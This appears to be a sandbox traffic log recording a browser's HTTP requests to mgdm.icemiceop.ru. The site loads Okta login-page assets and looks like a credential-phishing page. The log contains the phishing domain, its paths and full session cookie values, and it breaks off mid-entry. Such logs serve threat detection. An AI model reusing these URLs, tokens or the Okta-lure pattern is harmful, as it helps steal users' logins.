Source: global traffic	HTTP traffic detected: GET /ajax/libs/font-awesome/6.1.1/webfonts/fa-brands-400.woff2 HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveOrigin: https://mgdm.icemiceop.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/font/assets/proximanova-reg-webfont.353416ed0ff540352235.woff2 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveOrigin: https://mgdm.icemiceop.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wxq6cHzKIYoNgm2Bopw50D84rw9YmbWJ12124 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxA2O4wWdc8x8qq1ECSnjoUacanmn82arB0sl7MBzz12qpR190178 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op8RaX2g4vcLuiH9DxNBazjBGxeN3ULgBmnKf30Bt3h7x2dFy1A445136 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImhLOEFDZ2ZaYXpIaVFnSVI0TGxXdlE9PSIsInZhbHVlIjoiYkw4aHhuT0F0VHpCT1hNTFJrNTMzUzJvVm5KcU56ZitsZXlIbDAxdnBCSFhCM085djNyb09vRWxJMW1YOEhUenhmZHlBeHZQMmRTdXBaRytVeUVOdEVzUXVPaFczTkdMMk1iRGduZ25SNFZCNWQvS1N3OUkzSEQ5cjAwaWZpb2MiLCJtYWMiOiJlYTk2NTMwNzNkMTFmYjA2NDA3ZGM1NzcwODAyYmY2NDA1NGNhODYyNGUwYmFjMmNjMWRlYzg0ZTM3ZDYyNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVWb09RWEx2dXhlRVVRL2tpMlg5NkE9PSIsInZhbHVlIjoiR1RQVGFCbTVOVHpJd00rVnlLazlFZjVubG1pZ24wNFJ4bzI2eEZTWHdYVmYweGhmUWpidW1MZk1HSHFhbWNEbFlRV05YajhadFptaW9hUzRSRGdic1AvYlVza2ZWa1lVbTY0Wmw5RkgzV0VQL2hLQzRXc29ld3hyZ3lHSklPTTMiLCJtYWMiOiIxM2UzM2FjNTI2NGE5MDI0NjZlNzAxYjlhNjlhMjQyYzlmOWQ5NzhiZDlhOTNmZjcwZDBiYjQ2MjRkNDdiNDZmIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opoPtatGvuPGo2tQ9oraGIAl0YuvkECYuwb7BHQecLnZQvYtjFdBhacd192 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijV8ixSgRCDBCx0UvMM6wWp9GMw7hmnNB4TUnoqjqQXIi8wxZKDmZMef210 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kc4lnUhhomVzz4Uksi9DpLs0HwxLp7owkkKLz9MyaqCqA57sfWtb HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opEDbSKXCHNsUe91Ah7TPDESVMvn1eV9I4TXuvDwUYoAguoUAPLxi5vnQUNw0wY7zXsHKPrcd240 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnbEcC7ECt38mpevtEuvdHTkAyME6DicWgTYuvlpOA78150 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klKDnQ2cBVKpBOD3UT55CmTRD2kl7GME9yjtxLdHQoGGvGFwx220 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvQYGanMSL6x6xGfaA7GVzRGFyT8fL12igb8xQh80O675vzL55zcI5LppatVproscZ9uDR02JOo1yFc2JONOef260 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://mgdm.icemiceop.ru/vkvmiuzukvnatwzdixyfdwkj62f5ixwupy?MPTUCTEWAVACFSMIRFYHZYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij3u6hDRiM4IlvLE2P1793sUu3Xf2UgIdkLkAKyz3jW2TrwXXvSmu78163 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxA2O4wWdc8x8qq1ECSnjoUacanmn82arB0sl7MBzz12qpR190178 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opoPtatGvuPGo2tQ9oraGIAl0YuvkECYuwb7BHQecLnZQvYtjFdBhacd192 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNwcFpFcTQ5SnoxNUxBcDZyQk05NWc9PSIsInZhbHVlIjoib1JMeE9QSVB3UTlKQ2J2WTJnSmdmU2Zia3VsZzBWZjdBLytTQS9rcXgvaDZQanE2QmpOMEU1QXFPSEk5blBybDhsa3F0WnBxRk1YVVZqb2d6M09TR3Y2MVkwTzc2WFdTYUNpU093VXBNZzNjY0hFOHZyeVQ3M245UEFvYmZQRzYiLCJtYWMiOiI4Y2JmOTE1N2NhYzdjOTA3NzM4OWI1MDBlYWRlZjdmYTY5YTlhM2ZkNzY5OTViZTM1ZTBlZDBiYjcyNjA2Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Imh3d3AzdHBLaTNiQUFRZXdFYThVelE9PSIsInZhbHVlIjoiWlhuTFdudURCaG1EWGhKdFBkMERjYkNvdmdVYmRaazlBQ0NxUGV5QjFRWjhVOCtWK3o0TWVhK3ViV01BWXY0WjRSaTI3a1NORWdBSHhaeDJ2T3NTT2MrYXdBQUFNVXRhUFFCWVEvNmdtSm9mMERwRTZiV3BqMk5QY1RQb0NOMFgiLCJtYWMiOiI5MDc1OTFjZjc1MzBkNzdhMGY5NGM2YWMxZmRhMmIyOWJlODFlYTM0ZDYxODc4OGRiMTFkNWVlMmViZGRjZDVkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opEDbSKXCHNsUe91Ah7TPDESVMvn1eV9I4TXuvDwUYoAguoUAPLxi5vnQUNw0wY7zXsHKPrcd240 HTTP/1.1Host: mgdm.icemiceop.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 